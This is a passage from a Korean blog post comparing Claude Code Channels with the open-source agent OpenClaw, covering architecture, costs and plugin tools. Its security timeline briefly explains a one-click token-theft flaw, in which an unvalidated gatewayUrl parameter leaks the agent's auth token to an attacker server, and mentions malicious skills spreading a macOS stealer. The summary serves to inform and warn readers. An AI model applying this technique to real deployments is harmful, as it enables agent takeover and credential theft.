&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Push vs Pull &amp;mdash; 아키텍처의 핵심 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 MCP 서버는 &lt;b&gt;수동적(Pull)&lt;/b&gt;이다. Claude가 &quot;이 도구 써&quot; 하고 호출할 때까지 가만히 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channel은 이 관계를 &lt;b&gt;뒤집는다(Push)&lt;/b&gt;. 외부 이벤트가 발생하는 순간 &amp;mdash; 텔레그램 메시지가 도착하든, CI 빌드가 실패하든, Datadog 알림이 울리든 &amp;mdash; 즉시 Claude Code 세션에 밀어 넣는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이것이 왜 중요한가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기존: 터미널에 앉아서 프롬프트 입력 &amp;rarr; Claude 응답 &amp;rarr; 터미널 닫으면 끝.&lt;br /&gt;Channels: Claude Code가 백그라운드에서 실행. 외부 이벤트가 도착. Claude가 프로젝트 컨텍스트를 유지한 채 처리. &lt;b&gt;터미널 앞에 앉아 있을 필요 없음.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;One-way vs Two-way 채널&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels는 두 가지 모드를 지원한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 20%;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 40%;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 40%;&quot;&gt;사용 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;One-way&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;외부 &amp;rarr; Claude로 이벤트 전달만. 응답 없음.&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;CI 실패 알림, 모니터링 경보, Webhook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Two-way&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;외부 &amp;rarr; Claude + Claude &amp;rarr; 외부 (reply tool)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;텔레그램/디스코드 채팅, 원격 코드 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Two-way 채널은 &lt;b&gt;reply tool&lt;/b&gt;을 노출하여 Claude가 같은 플랫폼으로 메시지를 보낼 수 있게 한다. 여기에 더해, 신뢰된 채널은 &lt;b&gt;permission relay&lt;/b&gt;를 통해 도구 사용 승인/거부를 원격에서 할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Boris Cherny (Head of Claude Code)의 발표&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels를 발표한 Boris Cherny(Anthropic, Head of Claude Code)는 Threads에서 다음과 같이 소개했다:&lt;br /&gt;&lt;i&gt;&quot;We just released Claude Code channels in research preview. It allows you to control your Claude Code session through select MCPs, starting with Telegram and Discord.&quot;&lt;br /&gt;&lt;/i&gt;(Claude는 이제 research preview 단계의 Claude Code channels를 공개했으며, 이를 통해 Telegram이나 Discord 같은 일부 MCP를 이용해 Claude Code 세션을 외부에서 제어할 수 있게 되었습니다.)&lt;br /&gt;&lt;br /&gt;커뮤니티에서는 Channels를 Remote Control의 개발자 중심 대응물로 해석하고 있다. Remote Control이 세련된 모바일 UI를 제공한다면, Channels는 개발자가 MCP 프로토콜을 통해 원하는 시스템을 직접 연결할 수 있는 구조다.&lt;br /&gt;(출처: &lt;a href=&quot;https://www.threads.com/@boris_cherny/post/DWFohOyE1on/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Boris Cherny Threads, 2026-03-20&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: OpenClaw란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. OpenClaw란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- OpenClaw는 최대한 간단히 설명하고 넘어간다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;탄생 배경과 성장&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;는 오스트리아 개발자 &lt;b&gt;Peter Steinberger&lt;/b&gt;가 만든 오픈소스 AI 에이전트다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2025년 11월에 &lt;b&gt;Clawdbot&lt;/b&gt;이라는 이름으로 처음 공개되었고, Anthropic의 상표 문제로 2026년 1월 27일 &lt;b&gt;Moltbot&lt;/b&gt;으로 개명, 약 2일 뒤인 1월 29일 &lt;b&gt;OpenClaw&lt;/b&gt;로 최종 변경했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub에서 &lt;b&gt;24만 7천+ 스타(3월 초 기준)&lt;/b&gt;, 4만 7천 포크를 기록하며 폭발적으로 성장했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메시징 플랫폼을 통해 LLM 에이전트와 상호작용하는 패턴을 대중화한 프로젝트다. 2026년 2월, Steinberger는 &lt;b&gt;OpenAI에 합류&lt;/b&gt;했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenClaw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw - Wikipedia&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/02/19/openclaw-who-is-peter-steinberger-openai-sam-altman-anthropic-moltbook/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;서버 기반 Always-on 아키텍처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw의 핵심 차별점은 &lt;b&gt;서버에서 상시 실행&lt;/b&gt;된다는 점이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아키텍처는 &lt;b&gt;Gateway(클라우드 컨트롤 플레인)&lt;/b&gt; + &lt;b&gt;Node(로컬 디바이스)&lt;/b&gt;의 하이브리드 구조다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적으로는 EC2/VPS에 Gateway를 띄워 24시간 운영하지만, 로컬에서도 실행할 수 있다. 로컬 PC가 꺼져 있어도 서버 Gateway가 살아있으면 텔레그램 메시지를 보내 작업을 시킬 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지원 플랫폼도 압도적이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;WhatsApp, Telegram, Discord, Slack, Signal, iMessage&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Google Chat, Microsoft Teams, Matrix, Twitch, Zalo, WebChat&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 이 자유도는 양날의 검이다. OpenClaw 메인테이너 중 한 명은 이렇게 경고했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #6c757d; margin: 15px 0; font-style: italic;&quot;&gt;&quot;If you can't understand how to run a command line, this is far too dangerous of a project for you to use safely.&quot;&lt;br /&gt;(command line 실행 방법조차 잘 모른다면, 이 프로젝트를 안전하게 다루기에는 위험성이 너무 큽니다.)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 이 경고는 과장이 아니었다. 실제로 심각한 보안 사고들이 연이어 발생했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ OpenClaw 보안 사고 타임라인&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CVE-2026-25253 (CVSS 8.8):&lt;/b&gt; URL 파라미터 인젝션을 통한 1-click RCE. Control UI가 쿼리 스트링의 &lt;code&gt;gatewayUrl&lt;/code&gt;을 검증 없이 수용하여, 악성 링크 클릭만으로 WebSocket 연결 시 인증 토큰이 공격자 서버로 전송됨. 에이전트 전체 제어 가능. v2026.1.29에서 패치됨. (출처: &lt;a href=&quot;https://socradar.io/blog/cve-2026-25253-rce-openclaw-auth-token/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SOCRadar&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;42,000~135,000+ 공개 노출 인스턴스:&lt;/b&gt; 독립 보안 연구원 Maor Dayan이 약 42,000개, SecurityScorecard STRIKE 팀이 135,000+개의 공개 노출 인스턴스를 각각 발견했다. (출처: &lt;a href=&quot;https://www.crowdstrike.com/en-us/blog/what-security-teams-need-to-know-about-openclaw-ai-super-agent/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CrowdStrike 종합 리포트&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ClawHub 악성 스킬:&lt;/b&gt; Koi Security가 &quot;ClawHavoc&quot; 캠페인을 처음 발견(2,857개 중 341개 악성), 이후 Bitdefender 감사에서 10,700+개 스킬 중 824+개가 악성으로 판명됨. (출처: &lt;a href=&quot;https://www.authmind.com/blogs/openclaw-malicious-skills-agentic-ai-supply-chain&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AuthMind&lt;/a&gt;, Koi Security, Bitdefender)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Moltbook 데이터 유출:&lt;/b&gt; 연관 소셜 네트워크에서 약 3.5만 개 이메일, 150만 개 API 키/에이전트 토큰, 475만 건의 레코드가 유출됨. (출처: &lt;a href=&quot;https://www.wiz.io/blog/exposed-moltbook-database-reveals-millions-of-api-keys&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Blog&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;macOS 스틸러 배포:&lt;/b&gt; Trend Micro가 악성 OpenClaw 스킬을 통한 Atomic macOS Stealer 배포를 발견. (출처: &lt;a href=&quot;https://www.trendmicro.com/en_us/research/26/b/openclaw-skills-used-to-distribute-atomic-macos-stealer.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Trend Micro&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 상황에 대응하여 보안 강화 프로젝트들이 등장했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;NVIDIA NemoClaw:&lt;/b&gt; GTC 2026(3/16)에서 발표. OpenShell + K3s 컨테이너 샌드박스 + 정책 엔진으로 OpenClaw를 래핑 (출처: &lt;a href=&quot;https://thenextweb.com/news/nvidia-nemoclaw-openclaw-enterprise-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TNW&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;ComposioHQ/secure-openclaw:&lt;/b&gt; API 키와 OAuth 토큰을 Composio 인프라로 관리, 평문 저장 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;HKUDS/nanobot:&lt;/b&gt; 43만줄 &amp;rarr; 4천줄로 축소한 경량 대안. 공격 표면 자체를 줄이는 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 아키텍처 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 아키텍처 비교: 근본적인 차이&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;겉보기에는 둘 다 &quot;채팅 앱에서 AI 에이전트를 제어&quot;하는 것이지만, 내부 아키텍처는 근본적으로 다르다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels: 로컬 MCP 이벤트 수신 모델&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels의 데이터 흐름을 도식화하면 이렇다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;  Phone (Telegram/Discord)
     &amp;darr; 메시지 전송
☁️  Bot API (Telegram/Discord 서버)
     &amp;uarr; 로컬 플러그인이 이벤트 수신 (Telegram: long-polling / Discord: WebSocket)
  Local MCP Plugin (Bun 프로세스, 내 머신에서 실행)
     &amp;darr; &amp;lt;channel&amp;gt; 이벤트로 래핑
  Claude Code 세션 (로컬 터미널)
     &amp;darr; 코드 실행, 파일 수정
     &amp;darr; reply tool 호출
  Local MCP Plugin &amp;rarr; ☁️ Bot API &amp;rarr;   결과가 폰에 표시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 포인트:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;모든 것이 로컬에서 실행된다.&lt;/b&gt; MCP 플러그인은 내 머신에서 돌아가며, Bot API에서 이벤트를 수신한다(Telegram은 long-polling, Discord은 WebSocket Gateway 사용).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인바운드 포트가 없다.&lt;/b&gt; 내 머신으로 들어오는 연결은 없다. 외부에 노출되는 것은 아무것도 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 의존적이다.&lt;/b&gt; Claude Code 세션이 종료되면 채널도 함께 종료된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw: 서버 기반 상시 실행 모델&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;awk&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;  Phone (WhatsApp/Telegram/Discord/Signal/iMessage...)
     &amp;darr; 메시지 전송
☁️  메시징 플랫폼 API
     &amp;darr;
 ️  OpenClaw 서버 (EC2/VPS/Docker &amp;mdash; 24시간 실행)
     &amp;darr; LLM API 호출 (Claude, GPT 등)
☁️  AI Provider API
     &amp;darr; 응답
 ️  OpenClaw 서버 &amp;rarr; 메시징 플랫폼 &amp;rarr;   결과 표시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 포인트:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서버에서 독립적으로 실행된다.&lt;/b&gt; 내 PC가 꺼져 있어도 서버가 살아있으면 동작한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;다양한 LLM을 지원한다.&lt;/b&gt; Claude뿐 아니라 GPT, 기타 LLM도 연결 가능하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로컬 파일 시스템에 직접 접근하지 않는다.&lt;/b&gt; 서버의 파일 시스템에 접근한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 차이점 비교표&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;Claude Code Channels&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실행 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;로컬 머신 (내 PC/Mac)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 (EC2, VPS, Docker)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;세션 유지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 세션 종료 시 함께 종료&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버가 살아있는 한 24/7 상시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기반 기술&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;MCP 프로토콜 (stdio)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;독자 아키텍처 + LLM API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;로컬 파일 접근&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;내 PC의 프로젝트 파일 직접 접근&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버의 파일 시스템만 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지원 LLM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude만&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude, GPT, 기타 LLM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인바운드 포트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;없음 (아웃바운드 연결만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 설정에 따라 다름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;제공자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 오픈소스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;필요 구독&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Pro/Max (claude.ai 로그인 필수)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;각 LLM의 API 키&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비용 참고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Channels:&lt;/b&gt; Claude Pro($20/월) 또는 Max($100~200/월, 5x/20x 티어) 구독이 필요하다. 추가 서버 비용은 없지만, 구독료가 고정 비용으로 발생한다.&lt;br /&gt;&lt;b&gt;OpenClaw:&lt;/b&gt; 소프트웨어 자체는 무료 오픈소스다. 다만 사용하려는 LLM의 API 키 비용(사용량 기반)과, 24시간 운영 시 서버 호스팅 비용(EC2/VPS 등)이 별도로 발생한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels 플러그인이 Claude에게 제공하는 도구&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;텔레그램과 디스코드 플러그인이 Claude에게 노출하는 도구가 다르다. 디스코드가 더 풍부하다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 15%;&quot;&gt;Telegram&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600; width: 15%;&quot;&gt;Discord&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 45%;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;reply&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;메시지 전송. 파일 첨부 가능 (Telegram 50MB, Discord 25MB &amp;mdash; 각 플랫폼 Bot API 제한 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;react&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;이모지 리액션 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;edit_message&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;O&lt;/td&gt;
